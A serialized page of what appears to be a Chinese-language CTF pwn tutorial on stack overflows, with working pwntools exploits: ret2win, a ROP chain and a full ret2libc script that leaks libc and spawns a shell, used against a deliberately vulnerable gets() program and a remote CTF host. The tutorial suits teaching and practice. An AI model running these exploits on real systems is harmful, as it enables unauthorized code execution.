[{"data":1,"prerenderedAt":1275},["ShallowReactive",2],{"category-data-栈溢出":3},[4],{"id":5,"title":6,"body":7,"description":1261,"extension":1262,"meta":1263,"navigation":142,"ogImage":1265,"path":1271,"seo":1272,"stem":1273,"__hash__":1274},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":8,"value":9,"toc":1248},"minimark",[10,15,34,37,41,111,115,121,236,239,265,269,276,282,298,301,309,312,376,380,386,392,395,398,410,471,473,479,493,497,502,568,571,584,587,593,614,618,624,627,660,662,668,681,687,691,699,704,713,718,724,728,1023,1026,1032,1036,1085,1089,1162,1166,1179,1222,1224,1230,1234,1244],[11,12,14],"h3",{"id":13},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[16,17,18,22,23,22,26,29,30,33],"p",{},[19,20,21],"code",{},"gets","、",[19,24,25],{},"strcpy",[19,27,28],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[19,31,32],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[16,35,36],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[11,38,40],{"id":39},"二环境准备","二、环境准备",[42,43,48],"pre",{"className":44,"code":45,"language":46,"meta":47,"style":47},"language-bash shiki shiki-themes dracula","apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n","bash","",[19,49,50,69,83],{"__ignoreMap":47},[51,52,55,59,63,66],"span",{"class":53,"line":54},"line",1,[51,56,58],{"class":57},"sAOxA","apt",[51,60,62],{"class":61},"s-mGx"," install",[51,64,65],{"class":61}," gcc",[51,67,68],{"class":61}," gdb\n",[51,70,72,75,77,80],{"class":53,"line":71},2,[51,73,74],{"class":57},"pip3",[51,76,62],{"class":61},[51,78,79],{"class":61}," pwntools",[51,81,82],{"class":61}," ROPgadget\n",[51,84,86,89,92,95,99,103,106,108],{"class":53,"line":85},3,[51,87,88],{"class":57},"git",[51,90,91],{"class":61}," clone",[51,93,94],{"class":61}," https://github.com/pwndbg/pwndbg",[51,96,98],{"class":97},"sCdxs"," && ",[51,100,102],{"class":101},"sLL85","cd",[51,104,105],{"class":61}," pwndbg",[51,107,98],{"class":97},[51,109,110],{"class":57},"./setup.sh\n",[11,112,114],{"id":113},"三漏洞程序与编译","三、漏洞程序与编译",[16,116,117,120],{},[19,118,119],{},"vuln.c","：",[42,122,126],{"className":123,"code":124,"language":125,"meta":47,"style":47},"language-c shiki shiki-themes dracula","#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n","c",[19,127,128,133,138,144,150,156,162,167,173,179,185,190,195,201,207,213,219,225,231],{"__ignoreMap":47},[51,129,130],{"class":53,"line":54},[51,131,132],{},"#include \u003Cstdio.h>\n",[51,134,135],{"class":53,"line":71},[51,136,137],{},"#include \u003Cstdlib.h>\n",[51,139,140],{"class":53,"line":85},[51,141,143],{"emptyLinePlaceholder":142},true,"\n",[51,145,147],{"class":53,"line":146},4,[51,148,149],{},"void win() {\n",[51,151,153],{"class":53,"line":152},5,[51,154,155],{},"    system(\"/bin/sh\");\n",[51,157,159],{"class":53,"line":158},6,[51,160,161],{},"}\n",[51,163,165],{"class":53,"line":164},7,[51,166,143],{"emptyLinePlaceholder":142},[51,168,170],{"class":53,"line":169},8,[51,171,172],{},"void vuln() {\n",[51,174,176],{"class":53,"line":175},9,[51,177,178],{},"    char buf[32];\n",[51,180,182],{"class":53,"line":181},10,[51,183,184],{},"    gets(buf);\n",[51,186,188],{"class":53,"line":187},11,[51,189,161],{},[51,191,193],{"class":53,"line":192},12,[51,194,143],{"emptyLinePlaceholder":142},[51,196,198],{"class":53,"line":197},13,[51,199,200],{},"int main() {\n",[51,202,204],{"class":53,"line":203},14,[51,205,206],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[51,208,210],{"class":53,"line":209},15,[51,211,212],{},"    puts(\"Hello, what's your name?\");\n",[51,214,216],{"class":53,"line":215},16,[51,217,218],{},"    vuln();\n",[51,220,222],{"class":53,"line":221},17,[51,223,224],{},"    puts(\"Bye!\");\n",[51,226,228],{"class":53,"line":227},18,[51,229,230],{},"    return 0;\n",[51,232,234],{"class":53,"line":233},19,[51,235,161],{},[16,237,238],{},"编译：",[42,240,242],{"className":44,"code":241,"language":46,"meta":47,"style":47},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[19,243,244],{"__ignoreMap":47},[51,245,246,249,253,256,259,262],{"class":53,"line":54},[51,247,248],{"class":57},"gcc",[51,250,252],{"class":251},"sIQBb"," -o",[51,254,255],{"class":61}," vuln",[51,257,258],{"class":61}," vuln.c",[51,260,261],{"class":251}," -fno-stack-protector",[51,263,264],{"class":251}," -no-pie\n",[11,266,268],{"id":267},"四核心步骤-1checksec","四、核心步骤 1：checksec",[16,270,271,275],{},[272,273,274],"strong",{},"目的","：开打前判断这条路能否走通，避免构造无效 payload。",[16,277,278,281],{},[272,279,280],{},"思路","：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[42,283,285],{"className":44,"code":284,"language":46,"meta":47,"style":47},"pwn checksec ./vuln\n",[19,286,287],{"__ignoreMap":47},[51,288,289,292,295],{"class":53,"line":54},[51,290,291],{"class":57},"pwn",[51,293,294],{"class":61}," checksec",[51,296,297],{"class":61}," ./vuln\n",[16,299,300],{},"预期输出：",[42,302,307],{"className":303,"code":305,"language":306,"meta":47},[304],"language-text","Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n","text",[19,308,305],{"__ignoreMap":47},[16,310,311],{},"逐行含义：",[313,314,315,328],"table",{},[316,317,318],"thead",{},[319,320,321,325],"tr",{},[322,323,324],"th",{},"输出",[322,326,327],{},"含义",[329,330,331,342,352,366],"tbody",{},[319,332,333,339],{},[334,335,336],"td",{},[19,337,338],{},"No canary found",[334,340,341],{},"无栈金丝雀，可覆盖返回地址",[319,343,344,349],{},[334,345,346],{},[19,347,348],{},"NX enabled",[334,350,351],{},"栈不可执行，不能直接放 shellcode",[319,353,354,359],{},[334,355,356],{},[19,357,358],{},"No PIE",[334,360,361,362,365],{},"程序地址固定，",[19,363,364],{},"win"," 地址可直接写死",[319,367,368,373],{},[334,369,370],{},[19,371,372],{},"Partial RELRO",[334,374,375],{},"GOT 可写（本阶段用不到）",[11,377,379],{"id":378},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[16,381,382,385],{},[19,383,384],{},"vuln"," 栈帧自低到高：",[42,387,390],{"className":388,"code":389,"language":306,"meta":47},[304],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[19,391,389],{"__ignoreMap":47},[16,393,394],{},"偏移 = 32 + 8 = 40。",[16,396,397],{},"用 pwntools 验证：",[16,399,400,120,402,405,406,409],{},[272,401,280],{},[19,403,404],{},"cyclic"," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[19,407,408],{},"cyclic_find"," 反查位置，即\"从输入开头到返回地址的距离\"。",[42,411,415],{"className":412,"code":413,"language":414,"meta":47,"style":47},"language-python shiki shiki-themes dracula","from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n","python",[19,416,417,422,426,431,436,441,446,451,456,461,466],{"__ignoreMap":47},[51,418,419],{"class":53,"line":54},[51,420,421],{},"from pwn import *\n",[51,423,424],{"class":53,"line":71},[51,425,143],{"emptyLinePlaceholder":142},[51,427,428],{"class":53,"line":85},[51,429,430],{},"p = process('./vuln')\n",[51,432,433],{"class":53,"line":146},[51,434,435],{},"p.sendline(cyclic(200))\n",[51,437,438],{"class":53,"line":152},[51,439,440],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[51,442,443],{"class":53,"line":158},[51,444,445],{},"p.wait()\n",[51,447,448],{"class":53,"line":164},[51,449,450],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[51,452,453],{"class":53,"line":169},[51,454,455],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[51,457,458],{"class":53,"line":175},[51,459,460],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[51,462,463],{"class":53,"line":181},[51,464,465],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[51,467,468],{"class":53,"line":187},[51,469,470],{},"print(\"offset =\", offset)\n",[16,472,300],{},[42,474,477],{"className":475,"code":476,"language":306,"meta":47},[304],"offset = 40\n",[19,478,476],{"__ignoreMap":47},[16,480,481,482,485,486,489,490,492],{},"原理：",[19,483,484],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[19,487,488],{},"rip"," 的值必然是模式串中的 4/8 字节，",[19,491,408],{}," 返回它在模式串中的位置，即到返回地址的距离。",[11,494,496],{"id":495},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[16,498,499,501],{},[272,500,274],{},"：把返回地址改成 win，验证控制流劫持成功。",[42,503,505],{"className":412,"code":504,"language":414,"meta":47,"style":47},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[19,506,507,511,515,520,524,528,533,538,543,548,553,558,563],{"__ignoreMap":47},[51,508,509],{"class":53,"line":54},[51,510,421],{},[51,512,513],{"class":53,"line":71},[51,514,143],{"emptyLinePlaceholder":142},[51,516,517],{"class":53,"line":85},[51,518,519],{},"elf = ELF('./vuln')\n",[51,521,522],{"class":53,"line":146},[51,523,430],{},[51,525,526],{"class":53,"line":152},[51,527,143],{"emptyLinePlaceholder":142},[51,529,530],{"class":53,"line":158},[51,531,532],{},"p.recvuntil(b'name?')\n",[51,534,535],{"class":53,"line":164},[51,536,537],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[51,539,540],{"class":53,"line":169},[51,541,542],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[51,544,545],{"class":53,"line":175},[51,546,547],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[51,549,550],{"class":53,"line":181},[51,551,552],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[51,554,555],{"class":53,"line":187},[51,556,557],{},"p.sendline(payload)\n",[51,559,560],{"class":53,"line":192},[51,561,562],{},"p.interactive()\n",[51,564,565],{"class":53,"line":197},[51,566,567],{},"# interactive()：把终端接到进程，shell 可交互。\n",[16,569,570],{},"运行：",[42,572,574],{"className":44,"code":573,"language":46,"meta":47,"style":47},"python3 exploit.py\n",[19,575,576],{"__ignoreMap":47},[51,577,578,581],{"class":53,"line":54},[51,579,580],{"class":57},"python3",[51,582,583],{"class":61}," exploit.py\n",[16,585,586],{},"预期结果：",[42,588,591],{"className":589,"code":590,"language":306,"meta":47},[304],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[19,592,590],{"__ignoreMap":47},[16,594,595,596,598,599,601,602,604,605,607,608,601,610,613],{},"执行过程：",[19,597,21],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[19,600,364],{}," → ",[19,603,384],{}," 的 ",[19,606,32],{}," 跳到 ",[19,609,364],{},[19,611,612],{},"system(\"/bin/sh\")"," 弹 shell。",[11,615,617],{"id":616},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[16,619,620,621,623],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[19,622,32],{}," 结尾的指令片段（gadget）串起来执行。",[16,625,626],{},"找 gadget：",[42,628,630],{"className":44,"code":629,"language":46,"meta":47,"style":47},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[19,631,632],{"__ignoreMap":47},[51,633,634,637,640,643,647,650,654,657],{"class":53,"line":54},[51,635,636],{"class":57},"ROPgadget",[51,638,639],{"class":251}," --binary",[51,641,642],{"class":61}," ./vuln",[51,644,646],{"class":645},"s0Tla"," |",[51,648,649],{"class":57}," grep",[51,651,653],{"class":652},"seVfx"," \"",[51,655,656],{"class":61},"pop rdi",[51,658,659],{"class":652},"\"\n",[16,661,300],{},[42,663,666],{"className":664,"code":665,"language":306,"meta":47},[304],"0x0000000000401233 : pop rdi ; ret\n",[19,667,665],{"__ignoreMap":47},[16,669,670,673,674,677,678,680],{},[19,671,672],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[19,675,676],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[19,679,32],{}," 跳到下个地址。栈上布局：",[42,682,685],{"className":683,"code":684,"language":306,"meta":47},[304],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[19,686,684],{"__ignoreMap":47},[11,688,690],{"id":689},"八进阶ret2libc","八、进阶：ret2libc",[16,692,693,695,696,698],{},[272,694,274],{},"：程序内没有目标函数时，改调 libc 的 ",[19,697,612],{},"。",[16,700,701,703],{},[272,702,280],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[16,705,706,707,709,710,712],{},"程序里没有 ",[19,708,364],{}," 时，改调 libc 里的 ",[19,711,612],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[714,715,717],"h4",{"id":716},"_81-原理","8.1 原理",[42,719,722],{"className":720,"code":721,"language":306,"meta":47},[304],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[19,723,721],{"__ignoreMap":47},[714,725,727],{"id":726},"_82-完整脚本","8.2 完整脚本",[42,729,731],{"className":412,"code":730,"language":414,"meta":47,"style":47},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[19,732,733,737,741,746,751,755,759,764,769,773,777,781,786,791,795,800,805,810,815,820,826,832,838,844,850,856,861,866,872,877,883,889,895,901,907,912,918,924,930,936,942,947,953,959,965,971,977,983,989,995,1001,1006,1012,1018],{"__ignoreMap":47},[51,734,735],{"class":53,"line":54},[51,736,421],{},[51,738,739],{"class":53,"line":71},[51,740,143],{"emptyLinePlaceholder":142},[51,742,743],{"class":53,"line":85},[51,744,745],{},"context.log_level = 'error'\n",[51,747,748],{"class":53,"line":146},[51,749,750],{},"# 只显示错误，减少调试信息刷屏。\n",[51,752,753],{"class":53,"line":152},[51,754,143],{"emptyLinePlaceholder":142},[51,756,757],{"class":53,"line":158},[51,758,519],{},[51,760,761],{"class":53,"line":164},[51,762,763],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[51,765,766],{"class":53,"line":169},[51,767,768],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[51,770,771],{"class":53,"line":175},[51,772,430],{},[51,774,775],{"class":53,"line":181},[51,776,143],{"emptyLinePlaceholder":142},[51,778,779],{"class":53,"line":187},[51,780,476],{},[51,782,783],{"class":53,"line":192},[51,784,785],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[51,787,788],{"class":53,"line":197},[51,789,790],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[51,792,793],{"class":53,"line":203},[51,794,143],{"emptyLinePlaceholder":142},[51,796,797],{"class":53,"line":209},[51,798,799],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[51,801,802],{"class":53,"line":215},[51,803,804],{},"payload1 = b'A' * offset\n",[51,806,807],{"class":53,"line":221},[51,808,809],{},"payload1 += p64(ret)\n",[51,811,812],{"class":53,"line":227},[51,813,814],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[51,816,817],{"class":53,"line":233},[51,818,819],{},"payload1 += p64(pop_rdi)\n",[51,821,823],{"class":53,"line":822},20,[51,824,825],{},"payload1 += p64(elf.got['puts'])\n",[51,827,829],{"class":53,"line":828},21,[51,830,831],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[51,833,835],{"class":53,"line":834},22,[51,836,837],{},"payload1 += p64(elf.plt['puts'])\n",[51,839,841],{"class":53,"line":840},23,[51,842,843],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[51,845,847],{"class":53,"line":846},24,[51,848,849],{},"payload1 += p64(elf.symbols['main'])\n",[51,851,853],{"class":53,"line":852},25,[51,854,855],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[51,857,859],{"class":53,"line":858},26,[51,860,143],{"emptyLinePlaceholder":142},[51,862,864],{"class":53,"line":863},27,[51,865,532],{},[51,867,869],{"class":53,"line":868},28,[51,870,871],{},"p.sendline(payload1)\n",[51,873,875],{"class":53,"line":874},29,[51,876,143],{"emptyLinePlaceholder":142},[51,878,880],{"class":53,"line":879},30,[51,881,882],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[51,884,886],{"class":53,"line":885},31,[51,887,888],{},"# recvline()：读一行（puts 输出后带换行）。\n",[51,890,892],{"class":53,"line":891},32,[51,893,894],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[51,896,898],{"class":53,"line":897},33,[51,899,900],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[51,902,904],{"class":53,"line":903},34,[51,905,906],{},"print(\"puts:\", hex(leak))\n",[51,908,910],{"class":53,"line":909},35,[51,911,143],{"emptyLinePlaceholder":142},[51,913,915],{"class":53,"line":914},36,[51,916,917],{},"libc.address = leak - libc.symbols['puts']\n",[51,919,921],{"class":53,"line":920},37,[51,922,923],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[51,925,927],{"class":53,"line":926},38,[51,928,929],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[51,931,933],{"class":53,"line":932},39,[51,934,935],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[51,937,939],{"class":53,"line":938},40,[51,940,941],{},"print(\"libc base:\", hex(libc.address))\n",[51,943,945],{"class":53,"line":944},41,[51,946,143],{"emptyLinePlaceholder":142},[51,948,950],{"class":53,"line":949},42,[51,951,952],{},"# 第二阶段：system(\"/bin/sh\")\n",[51,954,956],{"class":53,"line":955},43,[51,957,958],{},"payload2 = b'A' * offset\n",[51,960,962],{"class":53,"line":961},44,[51,963,964],{},"payload2 += p64(ret)\n",[51,966,968],{"class":53,"line":967},45,[51,969,970],{},"payload2 += p64(pop_rdi)\n",[51,972,974],{"class":53,"line":973},46,[51,975,976],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[51,978,980],{"class":53,"line":979},47,[51,981,982],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[51,984,986],{"class":53,"line":985},48,[51,987,988],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[51,990,992],{"class":53,"line":991},49,[51,993,994],{},"payload2 += p64(libc.symbols['system'])\n",[51,996,998],{"class":53,"line":997},50,[51,999,1000],{},"# 调用 system(\"/bin/sh\")。\n",[51,1002,1004],{"class":53,"line":1003},51,[51,1005,143],{"emptyLinePlaceholder":142},[51,1007,1009],{"class":53,"line":1008},52,[51,1010,1011],{},"p.sendlineafter(b'name?', payload2)\n",[51,1013,1015],{"class":53,"line":1014},53,[51,1016,1017],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[51,1019,1021],{"class":53,"line":1020},54,[51,1022,562],{},[16,1024,1025],{},"运行输出：",[42,1027,1030],{"className":1028,"code":1029,"language":306,"meta":47},[304],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[19,1031,1029],{"__ignoreMap":47},[714,1033,1035],{"id":1034},"_83-三个易错点","8.3 三个易错点",[1037,1038,1039,1060,1075],"ol",{},[1040,1041,1042,120,1045,1048,1049,1052,1053,1056,1057,698],"li",{},[272,1043,1044],{},"补零",[19,1046,1047],{},"puts"," 输出的地址以换行结尾，",[19,1050,1051],{},"strip()"," 去掉换行，",[19,1054,1055],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[19,1058,1059],{},"u64",[1040,1061,1062,120,1065,1068,1069,1072,1073,698],{},[272,1063,1064],{},"对齐",[19,1066,1067],{},"system"," 内部使用 ",[19,1070,1071],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[19,1074,32],{},[1040,1076,1077,1080,1081,1084],{},[272,1078,1079],{},"libc 版本","：远程题目若提供 libc，用 ",[19,1082,1083],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[11,1086,1088],{"id":1087},"九必学工具","九、必学工具",[313,1090,1091,1104],{},[316,1092,1093],{},[319,1094,1095,1098,1101],{},[322,1096,1097],{},"工具",[322,1099,1100],{},"3 个核心功能",[322,1102,1103],{},"示例",[329,1105,1106,1131,1143],{},[319,1107,1108,1111,1128],{},[334,1109,1110],{},"pwntools",[334,1112,1113,22,1116,1118,1119,22,1121,1124,1125],{},[19,1114,1115],{},"ELF()",[19,1117,404],{},"/",[19,1120,408],{},[19,1122,1123],{},"p64","+",[19,1126,1127],{},"sendline",[334,1129,1130],{},"见上文",[319,1132,1133,1135,1138],{},[334,1134,636],{},[334,1136,1137],{},"搜索 gadget、指定寄存器、输出地址",[334,1139,1140],{},[19,1141,1142],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[319,1144,1145,1148,1151],{},[334,1146,1147],{},"GDB（pwndbg）",[334,1149,1150],{},"断点、看栈、查看崩溃点",[334,1152,1153,22,1156,22,1159],{},[19,1154,1155],{},"break vuln",[19,1157,1158],{},"x/20gx $rsp",[19,1160,1161],{},"bt",[11,1163,1165],{"id":1164},"十小-ctf-实战","十、小 CTF 实战",[16,1167,1168,1169,1172,1173,1175,1176,1178],{},"题目：",[19,1170,1171],{},"nc 1.2.3.4 10001"," 运行 ",[19,1174,384],{},"（No canary、No PIE，有 ",[19,1177,364],{},"）。",[42,1180,1182],{"className":412,"code":1181,"language":414,"meta":47,"style":47},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[19,1183,1184,1188,1192,1196,1201,1205,1209,1213,1218],{"__ignoreMap":47},[51,1185,1186],{"class":53,"line":54},[51,1187,421],{},[51,1189,1190],{"class":53,"line":71},[51,1191,143],{"emptyLinePlaceholder":142},[51,1193,1194],{"class":53,"line":85},[51,1195,519],{},[51,1197,1198],{"class":53,"line":146},[51,1199,1200],{},"p = remote('1.2.3.4', 10001)\n",[51,1202,1203],{"class":53,"line":152},[51,1204,143],{"emptyLinePlaceholder":142},[51,1206,1207],{"class":53,"line":158},[51,1208,542],{},[51,1210,1211],{"class":53,"line":164},[51,1212,557],{},[51,1214,1215],{"class":53,"line":169},[51,1216,1217],{},"p.sendline(b'cat flag')\n",[51,1219,1220],{"class":53,"line":175},[51,1221,562],{},[16,1223,300],{},[42,1225,1228],{"className":1226,"code":1227,"language":306,"meta":47},[304],"flag{ret2win}\n",[19,1229,1227],{"__ignoreMap":47},[11,1231,1233],{"id":1232},"十一小结","十一、小结",[16,1235,1236,1237,1240,1241,1243],{},"栈溢出主线：",[19,1238,1239],{},"checksec"," 判断防护 → ",[19,1242,404],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1245,1246,1247],"style",{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":47,"searchDepth":71,"depth":71,"links":1249},[1250,1251,1252,1253,1254,1255,1256,1257,1258,1259,1260],{"id":13,"depth":85,"text":14},{"id":39,"depth":85,"text":40},{"id":113,"depth":85,"text":114},{"id":267,"depth":85,"text":268},{"id":378,"depth":85,"text":379},{"id":495,"depth":85,"text":496},{"id":616,"depth":85,"text":617},{"id":689,"depth":85,"text":690},{"id":1087,"depth":85,"text":1088},{"id":1164,"depth":85,"text":1165},{"id":1232,"depth":85,"text":1233},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。","md",{"date":1264,"image":1265,"alt":1266,"tags":1267,"published":142},"14th Aug 2026","/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1268,291,1269,1270],"ctf","栈溢出","example","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":6,"description":1261},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",1786796568715]